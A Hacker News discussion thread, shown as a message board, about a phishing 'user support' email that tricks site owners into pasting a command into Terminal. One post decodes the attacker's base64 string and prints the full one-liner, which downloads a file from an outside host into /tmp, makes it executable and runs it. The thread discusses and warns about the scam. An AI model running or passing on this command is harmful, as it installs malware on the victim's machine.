Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

The scariest "user support" email I've received

devas.life

Post reply on HN
Print view View original

11–20 of 267 posts

Re: The scariest "user support" email I've received

#11

Post by gk1 »

netsharc wrote: post #5

Geez, I skimmed the image with the "steps" and the devtools next to it and assumed it was steps to get the user to open the DevTools, but later when he said it would download a file I thought "You can tell the DevTools to download a file and execute it as a shell script?!". Then I read the steps again, step 2 is "Type in 'Terminal'"... oh come on, will many people fall for that?

They don’t need “many” people to fall for it. It’s a numbers game. Spam the message to 10k emails and even a small conversion rate can be profitable.

Also, I’d bet the average site owner does not know what a terminal is. Think small business owners. Plus the thought of losing revenue because their site is unusable injects a level of urgency which means they’re less likely to stop and think about what they’re doing.

Re: The scariest "user support" email I've received

#12

Post by dmurray »

netsharc wrote: post #7
post_break wrote: post #3

Earlier quoted context omitted.

He asked ChatGPT to run the command in a sterile environment. He knew it was a bad idea to start with. It's a quick and dirty method in case you don't have a virgin VM lying around to try random scripts on to see what they do. I'd say something edgy about paying attention but that wouldn't be nice.

Geez... echo [some garble] | base64 | bash , and you'd spin up a VM to diagnose it? I'd google a base64 decoder and paste the "[some garble]" in...

The command helpfully already tells you where you can find a base64 decoder: it's in /usr/bin/base64.

Assuming you already have a ChatGPT window handy, which many people do these days, I don't think it's any worse to paste it there and ask the LLM to decode it, and avoid the risk that you copy and pasted the "| bash" as well.

Re: The scariest "user support" email I've received

#14

Post by gokayburuc-dev »

As artificial intelligence has evolved, so have hacking techniques. Attacks using techniques like deepfake and phishing have become increasingly prevalent.Multi-layered attacks began to be created.While they impersonate companies in the first layer, they bypass security systems (2FA etc.) in the second layer.

Perhaps those working in the field of artificial intelligence can also make progress in detecting such attacks with artificial intelligence and blocking them before they reach the end user.

Re: The scariest "user support" email I've received

#15

Post by fragmede »

johnea wrote: post #2

[flagged]

> as ChatGPT confirmed

Tech support knew it was not a good idea. ChatGPT was used to throughly explain why that was a bad idea. Are you trying to make other people look dumb because you need to feel smarter than others for some reason? That's gross.

Re: The scariest "user support" email I've received

#16

Post by IshKebab »

tantalor wrote: post #4

> as ChatGPT confirmed when I asked it to analyze it lol we are so cooked

It gets worse: https://arstechnica.com/features/2025/10/should-an-ai-copy-o...

We definitely need AI lessons in school or something. Maybe some kind of mandatory quiz before you can access ChatGPT.

Re: The scariest "user support" email I've received

#17

Post by dingnuts »

post_break wrote: post #3
johnea wrote: post #2

[flagged]

He asked ChatGPT to run the command in a sterile environment. He knew it was a bad idea to start with. It's a quick and dirty method in case you don't have a virgin VM lying around to try random scripts on to see what they do. I'd say something edgy about paying attention but that wouldn't be nice.

It's a bad idea to try to execute a malicious string in any environment, but the payload is just base64 text and it's safe to decode if you understand how to use the command line.

Look, I just deciphered it in Termux on my phone:

~ $ echo "Y3VybCAtc0wgLW8gL3RtcC9wakttTVVGRVl2OEFsZktSIGh0dHBzOi8vd3d3LmFtYW5hZ2VuY2llcy5jb20vYXNzZXRzL2pzL2dyZWNhcHRjaGE7IGNobW9kICt4IC90bXAvcGpLbU1VRkVZdjhBbGZLUjsgL3RtcC9wakttTVVGRVl2OEFsZktS" | base64 -d

curl -sL -o /tmp/pjKmMUFEYv8AlfKR https://www.amanagencies.com/assets/js/grecaptcha; chmod +x /tmp/pjKmMUFEYv8AlfKR; /tmp/pjKmMUFEYv8AlfKR~ $

Did ChatGPT do ANYTHING useful in this blog? No, but it probably cost more than it did when I ran base64 -d on my phone lol and if you want updoots on the Orange Site you had better mention LLMs

If I was more paranoid I could've used someone else's computer to decipher the text but I wanted to make a point.

Re: The scariest "user support" email I've received

#18

Post by Marsymars »

markrages wrote: post #6
post_break wrote: post #3

Earlier quoted context omitted.

He asked ChatGPT to run the command in a sterile environment. He knew it was a bad idea to start with. It's a quick and dirty method in case you don't have a virgin VM lying around to try random scripts on to see what they do. I'd say something edgy about paying attention but that wouldn't be nice.

ChatGPT doesn't run commands, does it?

That's probably bordering on a philosophical question.

Am I "running" code if follow the control flow and say "Hello World!" out loud?

Re: The scariest "user support" email I've received

#19

Post by frenchtoast8 »

I'm seeing a lot more of these phishing links relying on sites.google.com . Users are becoming trained to look at the domain, which appears correct to them. Is it a mistake of Google to continue to let people post user content on a subdomain of their main domain?
Post reply on HN